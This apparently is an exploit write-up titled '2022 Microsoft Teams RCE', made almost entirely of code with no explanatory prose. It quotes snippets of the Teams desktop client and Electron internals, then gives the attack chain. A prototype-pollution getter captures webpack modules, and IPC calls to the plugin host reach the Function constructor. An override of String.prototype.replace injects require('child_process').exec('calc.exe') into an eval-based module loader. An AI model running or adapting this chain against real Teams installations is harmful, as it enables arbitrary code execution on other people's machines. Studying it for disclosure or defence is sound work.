2022 Microsoft Teams RCE

...
k(p.states.appDeepLinkTaskModule, {
    url: "l/task/:appId?url&height&width&title&fallbackURL&card&completionBotId"
}),
k(p.states.appSfbFreQuickStartVideo, {
    url: "sfbfrequickstartvideo"
}),
k(p.states.appDeepLinkMeetingCreate, {
    url: "l/meeting/new?meetingType&groupId&tenantId&deeplinkId&attendees&subject&content&startTime&endTime&nobyoe&qsdisclaimer"
}),
k(p.states.appDeepLinkMeetingDetails, {
    url: "l/meeting/:tenantId/:organizerId/:threadId/:messageId?deeplinkId&nobyoe&qsdisclaimer"
}),
k(p.states.appDeepLinkMeetingDetailsEventId, {
    url: "l/meeting/details?eventId&deeplinkId"
}),
k(p.states.appDeepLinkVirtualEventCreate, {
    url: "l/virtualevent/new?eventType"
}),
k(p.states.appDeepLinkVirtualEventDetails, {
    url: "l/virtualevent/:eventId"
}),
...

    a = angular.isDefined(e.validDomains) ? _.clone(e.validDomains) : [];
return e.galleryTabs && a.push.apply(a, _.map(e.galleryTabs, function (e) {
    return i.getValidDomainFromUrl(e.configurationUrl)
})), e.staticTabs && a.push.apply(a, _.map(e.staticTabs, function (e) {
    return i.getValidDomainFromUrl(e.contentUrl)
})), e.connectors && a.push.apply(a, _.map(e.connectors, function (e) {
    return i.utilityService.parseUrl(e.configurationUrl).host

e.prototype.setContainerUrl = function(e) {
    var t = this;
    this.sdkWindowMessageHandler && (this.sdkWindowMessageHandler.destroy(),
    this.sdkWindowMessageHandler = null);
    var n = this.utilityService.parseUrl(e);
    this.$q.when(this.htmlSanitizer.sanitizeUrl(n.href, ["https"])).then(function(e) {
        t.frameSrc = e
    })
}

{
    "manifestVersion": "1.7",
    "version": "0.0.19",
    "categories": [
        "Microsoft",
        "Productivity",
        "ProjectManagement"
    ],
    "disabledScopes": [
        "PrivateChannel"
    ],
    "developerName": "Microsoft Corporation",
    "developerUrl": "https://tasks.office.com",
    "privacyUrl": "https://privacy.microsoft.com/privacystatement",
    "termsOfUseUrl": "https://www.microsoft.com/servicesagreement",
    "validDomains": [
        "tasks.teams.microsoft.com",
        "retailservices.teams.microsoft.com",
        "retailservices-ppe.teams.microsoft.com",
        "tasks.office.com",
        "*.office.com"
    ],
...
}

// n, o is controllable
P(c.remoteServerMemberGet, (e, t, n, o) => {
  const i = s.objectsRegistry.get(n);
  if (null == i)
    throw new Error(
      `Cannot get property '${o}' on missing remote object ${n}`
    );
  return A(e, t, () => i[o]);
}),

// n, o, i is controllable
P(c.remoteServerMemberCall, (e, t, n, o, i) => {
  i = v(e, t, i);
  const r = s.objectsRegistry.get(n);
  if (null == r)
    throw new Error(
      `Cannot call function '${o}' on missing remote object ${n}`
    );
  return A(e, t, () => r[o](...i));
}),

[_,pluginHost]=ipc.sendSync('calling:teams:ipc:initPluginHost', []);
msg=ipc.sendToRendererSync(pluginHost, 'ELECTRON_REMOTE_SERVER_MEMBER_GET', [{hey: 1}, 1, 'constructor', []], '')[0].id
msg=ipc.sendToRendererSync(pluginHost, 'ELECTRON_REMOTE_SERVER_MEMBER_CALL', [{hey: 1}, msg, 'constructor', [{type: 'value', value: 'alert()'}]], '')[0].id

function loadSlimCore(slimcoreLibPath) {
let slimcore;
if (utility.isWebpackRuntime()) {
  const slimcoreLibPathWebpack = slimcoreLibPath.replace(/\\/g, "\\\\");
  slimcore = eval(`require('${slimcoreLibPathWebpack}')`);
...
}
...
function requireEx(e, t) {
...
const { slimCoreLibPath: n, error: o } =
  electron_1.ipcRenderer.sendSync(
    constants.events.calling.getSlimCoreLibInfo
  );
if (o) throw new Error(o);
if (t === n) return loadSlimCore(n);
// n === 'slimcore'
throw new Error("Invalid module: " + t);
}

// y === requireEx
P(c.remoteServerRequire, (e, t, n) => A(e, t, () => y(e, n))),

msg=ipc.sendToRendererSync(pluginHost, 'ELECTRON_REMOTE_SERVER_MEMBER_CALL', [{hey: 1}, msg, 'constructor', [{type: 'value', value: 'var backup=String.prototype.replace; String.prototype.replace = ()=>"slimcore\');require(`child_process`).exec(`calc.exe`);(\'";'}]], '')[0].id
ipc.sendToRendererSync(pluginHost, 'ELECTRON_REMOTE_SERVER_FUNCTION_CALL', [{hey: 1}, msg, []], '')
ipc.sendToRendererSync(pluginHost, 'ELECTRON_REMOTE_SERVER_REQUIRE', [{hey: 1}, 'slimcore'], '')

  if ((env && env.ELECTRON_ENABLE_SECURITY_WARNINGS) ||
      (window && window.ELECTRON_ENABLE_SECURITY_WARNINGS)) {
    shouldLog = true;
  }

export function securityWarnings (nodeIntegration: boolean) {
  const loadHandler = async function () {
    if (shouldLogSecurityWarnings()) {
      const webPreferences = await getWebPreferences();
      logSecurityWarnings(webPreferences, nodeIntegration);
    }
  };
  window.addEventListener('load', loadHandler, { once: true });
}

import { webFrame } from 'electron';
...
const isUnsafeEvalEnabled = () => {
  return webFrame._isEvalAllowed();
};
// this is called by warnAboutInsecureCSP + logSecurityWarnings

}, {
    name: "webFrame",
    loader: ()=>r(/*! @electron/internal/renderer/api/web-frame */
    "./lib/renderer/api/web-frame.ts")
}, {

function __webpack_require__(r) {
    if (t[r])
        return t[r].exports;

const KEY = './lib/renderer/api/web-frame.ts';
let modules;
Object.prototype.__defineGetter__(KEY, function () {
    console.log(this);
    modules = this;
    delete Object.prototype[KEY];
    main();
})

var ipc = modules['./lib/renderer/api/ipc-renderer.ts'].exports.default;
[_, pluginHost] = ipc.sendSync('calling:teams:ipc:initPluginHost', []);